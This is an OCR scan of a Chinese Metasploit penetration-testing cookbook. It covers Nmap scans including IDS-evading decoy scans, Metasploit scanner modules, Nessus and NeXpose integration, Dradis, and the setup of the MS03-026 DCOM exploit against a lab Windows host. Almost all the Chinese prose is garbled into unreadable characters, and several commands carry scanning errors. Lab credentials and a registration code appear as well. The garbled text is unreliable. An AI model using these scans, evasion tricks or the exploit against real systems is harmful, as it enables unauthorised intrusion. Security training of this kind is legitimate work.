2.4 V1 F——Nmap 17X

Ui L34 2 —FF E G BIBERDOR, TR B AR T EEEMERE. WOafmR—4
AHBNEBBERERE, BF TX RIS ERENEER. N LELWARME, Nmap £ &
SRR, RRVODKEHEE, HAEATABEBEMRIIREZNER, BITEX SR
BOAREAT VA 7047

i

M Metasploit 5l nmap &% % 1. Ji8) msf #Hl 6, #A nmap, #AlLLE /R Nmap
RO EHIETI R .

msf > nmap

BRI

FANR T 4 FAFREEA Nmap H#EHAR, XEHHFRRE S FENRIERNE H.
SEBR L Nmap 24t T 243 BARARBTH K, HAH 264 TCP connect scan. SYN
stealth scan. UDP scan /¢ ACK scan %% 4 f. fE—KH#P, AL S0 HEZ M FFER
B, LMEXTH RS TE g, R R

1 BASE B R s JUA AN R O F H 26 AY

TCP connect [-sT)3 %R BAEAR K], &2 Nmap BRAEH KRR, ¥MHE TCP thil
“ZHEF7 IR, RN B R LR TR O .
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msf > nmap -sT -pl-10000 192.168.56.102
[*] exec: nmap -sT -pl-10000 192.168.56.102

Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 00:03 IST
Nmap scan report for 192.168.56.102
Host is up (0.0058s latency).

Not shown: 9997 closed ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems

MG RATLLES], XME#TMEE T T 28, %S5 TEHTHR#BE TCP
connect scan, —p ZHE X T EHXH M OJEHE. BT TCP connect scan UL “=FH#EF” %
W, R —BoA IR S5 R AR .

SYN scan [-sS] #A4 —FEREORIEAR, AR TEL MR 2 m i rse s
IR, BIbRFREFEH. Pl SYN Hifine.

msf > nmap -sS 192.168.56.102
[*] exec: nmap -sS 192.168.56.102

Starting Nnmap 5.51SVN (http://namp.org) at 2011-10-19 00:17 IST
Nmap scan report for 192.168.56.102
Host is up (0.0019s latency).

Not shown: 997 closed ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems

—sS Z 3K W Nmap ZX H #7347 SYN scan. TCP connect 5 SYN X B4 X7
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KL Hhi o T 2B, ME— A DX B /E T SYN scan S5 A28 5 4 B KR A2 A0 R G RN
AN BARH By XA B2 DA I HH SYN scan.

UDP scan [-sUJE R TiH% BEr9 78 UDP 3% O HERER, FE 1 BRI 0
FAT UDP $dE4u, SRR F A2 ICMP ¥ O ATHAE R, SR D2 0Hn, 7 U
A LAHI TR FF I . F 2 7F Metasploi HE42 S #E4T UDP HA#E41 .

msf > nmap -sU -p9001 192.168.56.102
g i A TR H AR ENL 192.168.56.102 ) UDP i D127 FF. 2510l i,
Wit Ed-p 28, thar X sg ¥ ) UDP 4y D3 TH 4.

ACK scan [-sAPE—# LEBURF M 37628 8L, mT LA i O R B4k B KB 9g . il )
ZeA ¥ 1 50X TCP ACK iR AT SEEl . dnSf H brdamai, ] RLA| 2 i St i) o 1
WR HARREIR)Z RST GEREED Hdlt, WIAT UA| Wi 1 2 AR B0 IE A ¥ H .

msf > nmap -sA 192.168.56.102
[*] exec: nmap -sA 192.168.56.102

Starting Nmap 5.51SVN ( http://mnmap.org ) at 2011-10-19 00:19 IST
Nmap scan report for 192.168.56.102

Host is up (0.001ls latency).
Not shown: 999 filtered ports

PORT STATE SERVICE
9001/tcp unfiltered tor-orport

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)

T AR XY H ARREAT ACK HHiRI45 R, AWHATLAFH, BT 9001 %y M2 AR pd
HEHIZHh, HbR LA S O# S kL ag . X5 BA BT 3R B AR 055 AL,
BRIt B br b R uE i O REAT By, LR .

ERTH

BH, BEMNAARHFASEARIBPREAKRZH ), BGOSR T LR
BAMANSGR. E£THMEEENEBEMITEEN R, Kb EEREHM AR
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RENVURAER EM, oA VHEZ AT 2K JLFF KA.

TCP connect scan J& B ZEA K HFHEAR, TWEATHF AR5 O 2 68 755 ¥ K%
B2, WOEITHERERSGF MG RECEI. KEEEHEE, ARaEn HARVLEERIE—1 SYN 3
#EA, W HRORIFHA, WmEafHasiRbEl—% ACK HE, ZEH#HEH [ Bl
iR —4k ACK HE, MMEMNE ZEEhEERE, M2Z2Hh “=FETF” $8. &4
BRsEEZAZZ L. X—HARAFHASHNA, BIRAES D KA RS
BERF .

SYN scan &% —Ff TCP 9k E!, AHEE HIF@ Ve 2B, EMEMEFAEH R
VERGERIM L% R 2L, T2 A IR AR TP B4 09 X B brma BT Bl . dn SR H i 02 iR
[f1, WHREl—4%& ACK #HE, Z/aHi##&iE—%& RST CEREE) HEPWERE, Hittd
FAEFRME. RN, X5 aA AR —FRBEREOR, oAb E/ERCE A 24 M B
KEGERANZEL I R G 2L SR .

UDP f#i 2 —FRIER MR EIR, B A 2 ) 45355 2818 [0l wa 3 5 8 AU H AR &R
Rl B . WR H AR DR, W8 R Rl —4& ICMP S OATAHE: W
REAREEE, W QAR BERETETT RS EH RIS R, BB k5
R E LA CAPH AR, HiRALSEsA A RmNHEE, AiiSBE #2458 Hirm D
LA FF I

ACK scan (1] =% H )2 1R 50 38w R 380 1, 3R — Py g SO (@ a4
A, BBTFRIUEBRRENIS A, BAFRPTERORZS THRHEHHF. HEERESER
RERANIFOR , BRAZBE#MAA LS B 7 %R, 78 ACK scan 945 R HLo %] H Huk

Ui LIS 2 AR L IE Y. B ACK scan H5HAMRMBRGE S, TG B E T KB
[ESELESE

| 2
T 4K T nmap FFERE LR, UEEFRBARKARMERBSEESMHH.

BRIERG S AN

bR T — M ue 3624, Nmap S48 4t T — 2@k, FTFHRELZ X T HiRE
i B oo RV &%) 72 (% 10 2 operating system identifcation [-O], 7] F] -1 50 H A% 41
FIEE R, W FHIFTR.

msf > nmap -0 192.168.56.102
[*] exec: nmap -0 192.168.56.102
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Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 02:25 IST
Nmap scan report for 192.168.56.102
Host is up (0.0014s latency).

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)

Device type: general purpose

Running: Microsoft Windows XP|2003

MEERATLAE R, Nmap B HUES I H B ARPLES K 3RE R GRS RGIRR,
A LUSE 25 5 R 3 6 i A Bt AR .

53— EZAE I # Nmap £ 702 version detection [-sV]. 1Zi%E0 AT L5 i b (4L &
FRRRGR AR, Aiuakan B bR 80m O s AT R4S ) R A i 4

msf > nmap -sT -sV 192.168.56.102
[*] exec: nmap -sV 132.168.56.102

Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 02:27 IST
Nmap scan report for 192.168.56.102

Host is up (0.0011ls latency).

Not shown: 997 closed ports

PORT STATE SERVICE

VERSION

135/tcecp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn

445/tcp open microsoft-ds Microsoft Windows XP

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)

Service Info: 0S: Windows

MERITUER], MAPET —ADBSMIRASIEE, HhaET bt LiEir ik
5 IR RRAS -

HMmER S

PARE 22 77 sREATH R AE W B . WURASK A 224 Ballchs it 444, By K a%#0 1DS
HE¥SERERE K IP Hiilk, Nmap ' Decoy [-D]i% 50 A] LR AL PE I Th BE .
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decoy FEIHANRERH IEFIHGE 1P Huhib4k P K B FN IDS ids% Rk, M2 {amir AER
REME A HHX &N, 274 HEXHPnEaamiE, FEXEHE JLAHib
Wik —ixt B et T 3R A —FE. BrLL, R ERFHBEEINM S decoy TP Hilf,
MHEXHE, EREIRAZEM 3 DAFEF IP bk RiXr, Hh—NERIERERHE IP i
b, TR E B SR P bk, W EETaR.

msf > nmap -sS 192.168.56.102 -D 192.134.24.34,192.144.56.21

X—nBlERT decoy ZEITIER], -D Z2¥Usmiy 1P Hubb 2 1P #ht, 478 HinbL
A4 H B SO P ML IE B TP bk —R HEL, X SREMNGEEE I, ¥ 3 N IP i
BE#RGR ) A A SO B i . SR, i 22 M ] decoy Hhihib&>smnda gt 5L, RGPS I S
B e B4 F — & B (1 decoy Hibk.

2.5 HEHTOMIHBIE

B BIPUE Metasploit HEZL (1) Py BBLH, G B) AT S MR TS . HB B 5
REGAE, EBITEBEUEA RS L, 3 EARMMEMT shell. Metasploit HEZ2F13 44t
T 350 AR, SN0 n] CABAT — L4 145, X B HHE LA as il Bh A

b3
BAF RGBT 3 MR
(1) BEEBDR: A use a2 Kty i RV E N SR T a2 176 BOIRAS
(2) BEMNE: {FH set ip S W E ZBPATIIHFE NS
(3) BATHiER: SERETM N ERZIE, W run 64 B A& PUTIZBE I 4 oA v 45 5
BT % Metasploit HEZE FpA7 Ml 26w F 4 /i, n] b S 4n F Hadik .

root@bt:~# cd /pentest/exploits/framework3/modules/auxiliary/scanner

R B LR, 75 %55 3 msfeonsole i FE .

BRI
i SE bR RO, BT .
H5E, 7E Metasploit #E58 P 4% —F A WFLE AT A 3 9 Rk



32 Metasploit i&iE ik F A

msf > search portscan

Matching Modules

Name Disclosure Date Rank Description

auxiliary/scanner/portscan/ack normal TCP ACK Firewall Scanner

auxiliary/scanner/portscan/ftpbounce normal FTP Bounce Port Scanner

auxiliary/scanner/portscan/syn normal TCP SYN Port Scanner
auxiliary/scanner/portscan/tecp normal TCP Port Scanner
auxiliary/scanner/portscan/xmas normal TCP "XMas" Port Scanner

M bR g5 R p Al LA B R M 5%R, 88 Tilihe it AT /iR, Tk
M1 LY SYN scan JF4f .

ERIE
FEERA I 3 A5 B A
(1) i F A Bom A E.

msf > use auxiliary/scanner/portscan/syn

msf auxiliary(syn) >

MGRATUFE, MSTRANCLUIRBIBEEHANBERZ T, XthFRoR %Sl
CAb THIE IR -

(2) #FK, f#H show options fr-&-Krdll, ZAHRA WL S KR L THH.

msf auxiliary(syn) > show options
Module options (auxiliary/scanner/portscan/syn):

Name Current Setting Reguired Description

BATCHSIZE 256 yes number of hosts to scan per set
INTERFACE no The name of the interface
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PORTS 1-10000 yes Ports to scan

RHOSTS yes target address range or CIDR
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEQUT 500 yes The reply read timecut in

milliseconds

SRMFE—HNINH T ZERFT RS H . Required 71| S HUR T B AL B L ZBIRE,
HAFidh yes WSS KLIRHE. EATELEH, Fras#a &8 H. RHOSTS
BE TR 1P Hhbya R, R LA BN E R H AR 1P Mk

msf auxiliary(syn) > set RHOSTS 192.168.56.1
RHOSTS => 192.168.56.1

A, B D Xt H AR IP #2547 SYN scan MIHER . {8 set fir 4k ] L& S Ath
&, tbwn, WREGSSSRmOVEHE, #eTEHER T R dr 4.

msf auxiliary(syn) > set PORTS 1-500

(3) BJFIBATIZBER, AT AR #AE

msf auxiliary(syn) > run

RRIBEST run 4S5, MUK IT BRI SYN F R R e A A 4
g

T A B TR

A g

EFRBN B P B B — e R AR, W DABCR I SRR B BUR A PRk . 75 xS
A MR AEAS TP b G EBEA TR, LR B EUR, AR EER.

msf auxiliary(syn) > set THREADS 10

2.6 [EMFHBHBIRIETT H bk 55414
R HEA TP b R A £ 8 b WL LB AT (R R R AT £ X 41
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HEZRETRS BHEMHEA, i VNC. FTP. SMB %, 4T ELE HirPla8 3R e 2
RIAR S0, ol FH 4 Bh AR b2 5 n 5 (i .

&

FHAEAEAWLAT AN, T RS HEMMEBER, WU FEAMERES.

root@bt:~# cd /pentest/exploits/framework3/modules/auxiliary/scanner

root@bt: /pentest/exploits/framework3/modules/auxiliary/scanner# ls

backdoor emc ip mysgql pop3 sap ssh vnc

db?2 finger lotus netbios portscan sip telephony
voice

dcerpc ftp misc nfs postgres smb telnet wvxworks
dect http motorola ntp rogue smtp tftp %11
discovery imap mssgl oracle rservices snmp upnp

MG RATLLESR], fFERKRRRFSHMBRBGER, HEBEM AN ATH .

BRI

K LR 55 3 R B A P A AR BB AR R IS, R AT T VR A 3 PR

B 522 NetBIOS BiHl, F14 NetBIOS f Bh TR Windows #4E &R 45 . 7F F A9 2~ H
PR A K R P 2%, 8 HWE S HL28 IE/EIZ1T NetBIOS.

msf > use auxiliary/scanner/netbios/nbname

msf auxiliary(nbname) > show options
Module options (auxiliary/scanner/netbios/nbname) :

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to probe
CHOST no The local client address
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RHOSTS yes The target address range
RPORT 137 yes The target port
THREADS 1 yes The number of concurrent threads

msf auxiliary(nbname) > set RHOSTS 192.168.56.1/24
RHOSTS => 192.16B.56.1/24

msf auxiliary(nbname) > set THREADS 10
THREADS => 10

¥ RHOSTS W E hHH¥EA 192.168.56.* ik B, LFEEEE N 10, B TFRIEfTiZH
B3k 45 SR BEAT 40T -

msf auxiliary(nbname) > run

[*] Sending NetBIOS status requests to 192.168.56.0->192.168.56.255 (256
hosts)

[*] 192.168.56.1 [DARKLORD-PC] 0S:Windows Names: (DARKLORD-PC, WORKGROUPF,
__MSBROWSE ) Addresses:(192.168.56.1) Mac:08:00:27:00:a8:a3

[*] 192.168.56.103 [SP3] 0OS:Windows Names: (SP3, WORKGROUP)
Addresses: (10.0.2.15, 192.168.56.103) Mac:08:00:27:4b:65:35

[*] 192.168.56.102 [ABHINAV-5C02603] OS:Windows Names: (ABHINAV-5C02603,
WORKGROUP) Addresses: (10.0.2.15, 192.168.56.102) Mac:08:00:27:34:a8:87

[*] Scanned 256 of 256 hosts (100% complete)

ZME A 3 SV IEAEMEF] NetBIOS, H.& H MAC Hibkt B 483

FEEAT 5 — AR, R WL 8% IEAEIZ1T MySQL il PERR 45 4%, LU B
RARRA .

msf > use auxiliary/scanner/mysql/mysql version
msf auxiliary(mysqgl wversion) > show options

Module options (auxiliary/scanner/mysql/mysql_version):
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Name Current Setting Required Description

RHOSTS yes The target address range

RPORT 3306 yes The target port

THREADS 1 yes The number of concurrent threads

msf auxiliary(mysgl version) > set RHOSTS 192.168.56.1/24

RHOSTS => 192.168.56.1/24

msf auxiliary(mysql version) > set THREADS 10
THREADS => 10

msf auxiliary(mysqgl version) > run

[*] 192.168.56.102:3306 is running MySQL, but responds with an error: \
x04Host '192.168.56.101' is not allowed to connect to this MySQL server

HiGE R T, 1P Hihkh 192.168.56.102 i) H#aHL 88 IE/EIZ4T MySQL, {HiBtp& (K 2,
Tk S GRS HE LR . ZaPIFRER THBERN S HEMERE, FAR#ER
RET KBEFHAGER.

X PR AR RO A B S AR B, XAE AT B TSR A e FR AR H AR LR

EBHIE

0 Bh B ER O O B AT R AT 45 o A B IR R g s . R, A8 BT Ry R
R T AR BARSS . Ehin, MySQL HfiBhAR bl i #R M BRIA % 0 (33060 il MySQL
AR45285, ZARBGL v LU BRI G5 R B BEE . A3 7T L% /modules/auxiliary/ scanner.
HRE T RBRAIET 4, WIERENHAAHEETY R, el IEHBEARME B K E
L ERE

2.7 {9/l Nessus JEriHFRE
AT ERAT1 222 T o DA — SR A0H, HEH Nmap #3177 —2SLirifE. &£ H
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fl LT RS, tWAETHOFMEE, EERHNGEREKELEROE PR, &T
kRPN AES, B4R TR, X T Ra B AR T84 LU AT AR 55 AT
Ui 1, 1 2 S R S R 4% R R A S 1L AR AE AR R R R

Nessus A& {# 8 Z FiRRE#E 2 —, TR iR R EAERLRFEITRS,
IR . TEBBIRAY, Nessus 22— EHA K TR. B GUI A Nessus,
tha] LIZE Metasploit #5466 H{EH . EABRRBIF, FEEZLE msfeonsole H{EH Nessus.

b33

FAE msfconsole ¥ A Nessus, AZI5EINEL Nessus, 2 Jo¥IH 5R% a8 LER A 5h
BE LR .

H5G, EALINAE FBEEF S Metasploit Z [AIER:, DMEAFEP ISR . 1£ Metasploit
W AR EAE FE R N AT e Vb . BDER S, BT ORRES R INEE Nessus 3614

B
(1) EAE Metasploit P EEREIEFEIF AL Nessus, ] ABAT I F iy 4.

msf > db_connect msf3:8b826ac0@127.0.0.1:7175/ms£f3

msf > load nessus

[*] Nessus Bridge for Nessus 4.2.x
[+] Type nessus help for a command listing
[*] Successfully loaded plugin: nessus

(2) pexhn$)s, B HS5RGSZ B ERE, FHm TS,

msf > nessus connect root:toor@localhost ck

[*] Connecting to https://127.0.0.1:8834/ as root
[*] Authenticated

£ bAda4d, dr% OK BHIMNIZSE, HTHifR Nessus RS S$E1TIEAI{E LR .
1E Nessus 11, A LL{# H] nessus user list fiy 20 2rf WELLn] .

{£H] nessus_user_add a3 AI LAGRINETH /7. EAF RS S Lol A0 S%wg, =T {EH
nessus_policy list fy4% .
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ERIE
AL HRSABMAVEERLZ )G, (EH Nessus Xf HbrLaFSEAT M. F 980 72 iy 82 i afLase
X HARPLAR AT SERRAO%E, BAE T A% Nessus (LR, AW TFm2.

msf > nessus_scan_new 1 testscan 192.168.56.102
[*] Creating scan from policy number 1, called "testscan" and scanning

192.168.56.102
[*] Scan started. uid is 94d337e9b-82¢c7-8B%al-alfod-

4efl54bB82f624de2444ebadlBalf

PRESTRE, T2 S A Nessus EiIFIR . HARERWHLTHSIE.

msf > nessus_report list

[+] Nessus Report List

ID Name Status

9d337e9b-82c7-
89%9al-al9-4efl54b82 testscan completed
fe24de2444e6adlBalf

ID RN BT EARKS RHE, FARX—ME.

msf > nessus_report _get 9d337e%b-82c7-89%al-alf%44efl54b82f624de2444ebadll

alf
[*] importing 9d33?e§b—32c?—8Bal—al944ef154bﬂ2f524de2444e63dlaalf

MEFAJE, BT CAE A 6 dr X LT ERAE, RS IEEAT 204 LLAI T B bR
WL ORI, EAE AR P AR, ATRMER I a4

msf> hosts -c address, wvuls, os name

| 2
TR T ERELE GUI 8 F{# H Nessus T1k.

7£ Web | %5 8% Fr {# F Nessus
Nessus 0] LMER] GUI X T 46, fEHFEX T SESBEP RS, i
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RAIRAEF Nessus, B SE7E Nessus P¥GE M IFIRBGE MY, 2 Wi FEE#E.

http://www.nessus.org/register/

HEMSERUS, JE3) Nessus FFaINvE S, 43| Applications | BackTrack | Vulnerability
Assessment | Network Assessment | Vulnerability Scanner | nessus start, J3/] Nessus, i</
AT RS REER-

Starting Nessus : .
Missing plugins. Attempting a plugin update...
Your installation is missing plugins. Please register and try again.

To register, please visit http://www.nessus.org/register/

IX—HRE N Nessus MR M. FEIATHEM, 5EER I @Bl M Nessus 3k
BUME S, 48 i a2 ol 1 5e s L R

/opt/nessus/bin/nessus-fetch -register YOUR REGISTRATIN CODE

root@bt:~# /opt/nessus/bin/nessus-fetch --register EBA5-5367-982E-05CB-
972A

Your activation code has been registered properly - thank you.
Now fetching the newest plugin set from plugins.nessus.org...
Your Nessus installation is now up-to-date.

If auto update is set to 'yes' in nessusd.conf, Nessus will
update the plugins by itself.

ILAE 5 230 A8 R T T Mk .

https://localhost:8834

I RS IR AE D B AF 3 5)) Nessus, A RETF 2 —LEmjH), iR 008 4% .

2.8 {#)Hl NeXpose JEf 114

LR AATHEANRFEIHEER Nessus, AN AE 4 EHE R
NeXpose.
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NeXpose & Rapid7 #4E — & EFHRTH TR, "TTH FRATRASH T8RS
15 A\ 3| Metasploit #EEF . NeXpose 48 FH A AT EINI L H9 Nessus Z58L, Findad
#H NeXpose M3 shF{ER, Eilt —PRERHBRIEEEEER.

&

Z M\ msf $4il & 9 J53) NeXpose, 755 1 5t 8 L HE 3| Metasploi &R, 2 Ja Nk
LS NeXpose IRS588 2 M| %R, RIEH AN BV E#LRE, FlHEHRS
ITHPPITIX L ERAE .

msf > db_connect msf3:8b826ac0@127.0.0.1:7175/msf3

msf > load nexpose
msf > nexpose connect darklord:toor@localhost ok

[*] Connecting to NeXpose instance at 127.0.0.1:3780 with username
darklord...

EHTH

- ERPIBFAE)E, oIS H VLS % . NeXpose ZFRFFKAMIMS, —£&
& nexpose_scan, 73 —%kJE nexpose discover. RJ#H Al AEIHIEA IP bt BOF S AL R, &
W R TR FIEAT R ENFARS . FH{EH NeXpose At H AR T HUEF 4 .

msf > nexpose_discover 192.168.56.102

[*] Scanning 1 addresses with template aggressive-discovery in sets of 32
[*] Completed the scan of 1 addresses

EEIE _
Hischka, 7T CAMER] msf #Hl S P ROARBIEER SRS K.
B4 HF— F NeXpose 5 T Hfsbgt 5 .

msf > hosts -c address,os_name,os flavor
Hosts
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s A - —————— - —— T — -

192.168.56.102 Microsoft Windows XP
msf >

L% 2
KRB EAMERE, BERSALRE, RIE—TFERLH.

FARBER

W F7E msfeonsole 7 {# ik Nessus Fil NeXpose, 1] PABkILiX 2645 & .

7E{# F Nessus 8% NeXpose ] GUI fRAR, fETF TR R SABIEIEE. Z Ll
REWBFARNGFEDHS R, REMT -8 AWAER autopwn 45 il E 1
EV BaME TREAR AAE. EFARMEE, TBILL db_import filename 4% X f#
db_import g4, W1 H B A& R .

msf > db import nexposelist.xml

[*] Importing 'Nexpose XML (v2)' data
[*] Importing host 192.168.56.102

[*] Successfully imported /root/nexposelist.xml

2.9 [/ Dradis HERI TSR

TERTHEDLY . BATFE T IREERAHRE B RJLFRAR . SERRHATSE IR0
i R AR P HEER RN I E—E R, ZFE T, )/ Dradis HERLAT BLili2iE
WA BICFERREMA S - Dradis £ Z2 VA TE B ERFHEESR, ZHELHR &K
—ED R EE A RFREEIE TR, KPaFnTAZE.

» SSLififE3ZHF.
» SRR
» M Nessus. NeXpose F T HPFAHMEGR.
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» ALY RIS R SO S AN R G .

RGBT R A ARAEATE R, EXHE L€ WA RS, Dradis fE3LF21E A
GiRJT HRESE.

&
7 34T BackTrack H 5 8l Dradis HEZE, DAZ0E & i P AT 4.

root@bt:~%# cd /pentest/misc/dradis

root@bt: /pentest/misc/dradis# ./start.sh

A PAT G, W AE I a0 T Mk 7E ) Y0 28 *H e 3l Dradis HESE .

https://127.0.0.1:2004

Z JGa K2/~ 8 Dradis HEZEh ) O 4 Flk 5 .

ime User's Wizard - dradis v2.7.0 - Mozilla Firefox

[l First Time User's Wizard - dradi.. JE

@ -« © [HEEIE v 27 001 3004war0 e L 0 G0 Q] Y

R BackTrack Linux [Offensive Security KRExpoit-DB Wy Aircrack-ng  [SEORG.org  gMusicy

ek to the app.

Welcome  Users and Passwords  Interface  Pluging  Reporting  Community / Heip

What is Dradis?

Dradis is an open source framework to enable effective Information sharing.

Dradis is a self-contained web application that provides a centralised repository of information to

Features include:

» Easy report generation in HTML or Word format.

= Support for attachinenits.

= Integration with existing sysiems and tools through server plugins.
= Plattorm independent.

BRI
THEIF%AK: Dradis HESE. FUATZHES, WTCUASA TSt T 241, AT
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19 B AR PR S5 My SE i o, B T UUE S B E RS AR E . ZERERI T — &)
e, AT LALARGAL AT S A R H AR I A A5 B e B 5

* dradis v2.7.0 - Mozilla Firefox

i dradis v2.7.0
@ v [ENEm .
B BackWack Linux [Joffensive Security ERExploit-DB Wy Aircrack-ng ESEORG.org gMusic v

 etps:127.0.0.1:3004

=} mpont rom e~ g} export -

[ gaddbeanch 3 &8 IE) D add note | [1-] nole categories > 7
) Doy Framework 2.7 Teait =

& Category: defaull category

Heve are your noles for the node you just cicked (“Drads Framework 277) ¥.3 node has atiacie

Dradis HERHEME T 5 A~HEE LTI, B add branch. import from fle. export. add note
X note categories.

IR SKE, & HBRL LB AT, 7R A9 22 b A el DU BX B . R4
IX 63 T AT DA S BLMR L T RE .

EHETLHE
MEIESHR & T4, X RR M, S 5edm ENUAF 4.

{ ] add branch iET, =] LIZsh0Er [P fhhkalisd 42 . @sinTigiis 4 5, o BLidk—5 Hhifs
nI-Fi4, 8 FRALFEMEESEER.

add note &0 A H T@ MM A R4 R P UEEEMGEE. #lw, wTeLEIK H Nmap.
Nessus FiFIMas MBS £ .

note categories 10 ] T 2L FEIRHUE BB /T, 1945 Brup scan. Nessus scan, NeXpose.
Nmap 55, A H4E S Brfl o de 378 F T2 e i 45 SRk T

~ B s ok Nmap %) 192.168.56.1/24 TP Huhik BE 1RG0 (5 6, 20 I Al b &5 Hg A0 4% ]
FEE &R, 00 0RO T B H AR AR

Dradis #2281 5% — M DIRER P A CH S sl 3 H OOl S
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.iﬁaﬁm&'aﬂﬁl Ja-’“tﬁﬂ'm ;es L T e T
b Dﬂ_ﬁ_ﬂt!? Tt ¥ Categony
b (CInessusistnessus - Nessus scan | = Caiegory: defaull category
4 £ nmap scan | mst > gb_nmap 192.168.56.1/24 A -aX rmapscan [ Nmap: Starting Nmap 5. 1SVN ( htp.fivmap g ) at 2011-10-22 03:38 IST ') Nrmap: Neag defaut c|
o £3192.168.56 1724 §
(2192, 168.56.1 h
£ 192.168.56.101

! msf > db_nmap 192.168.56.1/24 -A -0X nmapscan
] Nmap: Starting Nmap 5.51SVN ( hitp://nmap.org ) at 2011-10-22 03:35 IST
. [ Nmap: Nmap scan report for 192.168.56.1
| ] Nmap: Host is up (0.00072s latency).
[ Nmap: Not shown: 996 filtered ports
] Nmap: PORT STATE SERVICE VERSION
. [ Nmap: 135/tcp open msrpc Microsoft Windows RPC
] Nmap: 139/tcp open netbios-ssn
[ Nmap: 445/tcp open netbios-ssn
] Nmap: 2869 /tcp open hittp Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)
'-L' [ H'nlp HM‘.' Mdﬂ:ﬁi Dﬂ Dﬂ 2? :00:AB: AEI {ﬂbdmlﬂ Computer S'fllems}

Import from file ZEJ 4 WA [R5 25 3 A LLAT RS FE 45 RIEOL TF], Hdt—pRE
THERKOGED . FEARGMEAN G ZHFARNRHESRIFAZERD, HEHLES
A GEtE RS .

k)38 WK 52 AT AFF export option BT 4 il ok TR T I e 4R 15, = HiR
HAT LR XML #&3UEk HTML #4530, AT BLLATH 87 A 5@ B BT H .



F3E
ARG RIS 551

ATEVHIR Tk 2

e Exploit FIiEHIERR;

e 7t Windows XP SP2 | #4T8iE K,

o ZPiEmFEVyia] H LA A shell;

e {F Windows 2003 Server b #F{Ti8:E M ;

e Windows 7/Server 2008 R2 % J* ¥ G PROGEF ¥ «
e Xf Linux (Ubuntu) HLA8#EATH i85,

o FHf# Windows DLL 33 A% .

3.1 48

EEREHET X HAAALENE BB, S EKR P bk, PR O . 7RSS %
FFRBGEE, RPmEENGEELS ARRSSXRARAEHNRERFEHXNELR, X
o fF BA By T PR A HL H AR ERAE R G0 0 A7 5 B0 R A N HO R A ACS . 4R, SEhrid
B2 5k, (HMRMH SE8ERGHKHE B AT LIFER KR K LibX S eSS/ E
5.

HHRERE DA SHFESH bug, —HIXE bug FAMHE, L4454 HX L bug
B AAS « 48 Windows IXFF A R IERE R GE, S HREFFRE XX L bug SsFRIFN T,
HAORPROEER . RAEERE P RKAE, REFHRAEEES TS HERTE
KA. THWFESEABEE, &S TS TSt +aiEK, LMK eTges
50000~ 100000 £ Jc. WH KB T, WFETFFAN G R Ha] CLRZhF KR, HRE
1% 5% U T U R T4l AT] B SRR
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—He A, Pl Adobe A RIS EME AR T, HESKHMNER TR, A
Bo AR PR ER, MM T RABIRS ST T HELEBnE, FHAT3T 2
W ENBRENRER, Mk EErE REER. Eit, AR EE T
s ERAE R b Bl R IR R G . RATAN T HEE Rgont B A T 5 28X (safe
haven), B4 B2 LISLRNE 380 Bis. Fril, B0 iE RGESEATIT 4N T S HT 21
HEN) ., RFEPRANE T R ERTERERSE P BRI .

EZEM LR, BERAEREH A RERGENMRE B G, KA RET TGS
FREE X E B R GEI A OB A AR . BRI, AR A4 ) AR A R R4 R SRR
HPREATIBENE — L . BATR RIS E N B 12 K SR RO b AR R R 48, LA
R Linux REE, I T ERERIRFER AW LB S8, UMEIRAE HisPLEE - IEfEZ
7. BeJa, AT Metasploit H 54545 F i B 347

3.2 Exploit PR

FEXT H bR b a8 A0 0 A AR A B e B A 2 A, FRATT T B0k T MR — LB AH 5K ) B 4 4
o B RFA SRR AR, XA GER o2 BOHR BC T N AT B8 HH BL RS R
Tl 4 SRR A F ARG AE R 2 508 B i — S 3 A il

&

0 H b A A, 8 e d B AR SO0 DR RS, RER B ARAH S 78
HME R, RIEHFR R A SRR A AR . T 0T — 20T BLE B57E msfeonsole
PR B IR AR A AR A 2>

SN
FiF T 4 exploit 1 —285% H& 4,

» msf> show exploits 5 msf > show payloads: X442 H T RS Metasploit H s
B mT ) s i ) R AR A B 484y o

»  msf> search exploit: %4 A T % 5K e BB A AR, o n] LA A iZdr 4
BRI SR . a4 TRt riEi.

msf > search exploit-name or search-term

401 T T B e 4
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msf > search ms03_026_dcom

Matching Modules

. e . S S e ————

Name Disclosure Date Rank
Description
exploit/windows/
dcerpc/ms03 026 dcom 2003-07-16 great Microsoft RPC DCOM

» msf> use exploit: %4 H TR exploit & B ATHFHORERFHRE, Z@msd
e+ A TR

msf > use exploit name

PATZ WL )G, MLITIRARTIRYI A exploit K1Y

msf > use exploit/windows/dcerpc/ms03 026 dcom
msf exploit(ms03 026 dcom) >

» show options: Z%ar-4 T2 M AI{ER A exploit (R FIETEZH, &#MSHQH
EHLIP Mokt KRR, HPFRdh yes BFISEOAM B EAR N H LAMEHR BT ZhIR R FHA S

msf exploit(ms03_026_dcom) > show options
Module options (exploit/windows/dcerpc/ms03 026 _dcom) :

Name Current Setting Required Description

RHOST yes The target address
RPORT 135 yes The target port

b set: AT TN SHRIEA Y exploit P RIS EECE A, B0 A E
WA AR R ER AN B EAT . Zar T ek,

msf > set parameter-name parameter-value
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Ffeltt, o RT LAEFE unset iy BUH N AN S AR BE .

msf exploit(ms03_026_dcom) > set RHOST 102.168.56.102
RHOST => 102.168.56.102
msf exploit(ms03 026 dcom) >

AP TER T4 setg T2 Fl unsetg fir-2, T msfconsole H & E L R/RENZS
$E, Mifus D FME R T

» show targets: B4~ exploit # BT H T B 3 F HAR RS, Adn 4 F T #7714 exploit
A v L n] B g 2k B s

msf exploit(ms03_026_dcom) > show targets

Exploit targets:

0 Windows NT SP3-6a/2000/XP/2003 Universal

MG RATLIFR H, IR F S deom "5 £ 5 Windows HL3§3#E4T Bk

BHEIE

£ 1 ERLUL, B4 Metasploit HEAOR I ) BRBEBULAA RS H, A FE 3R E R A
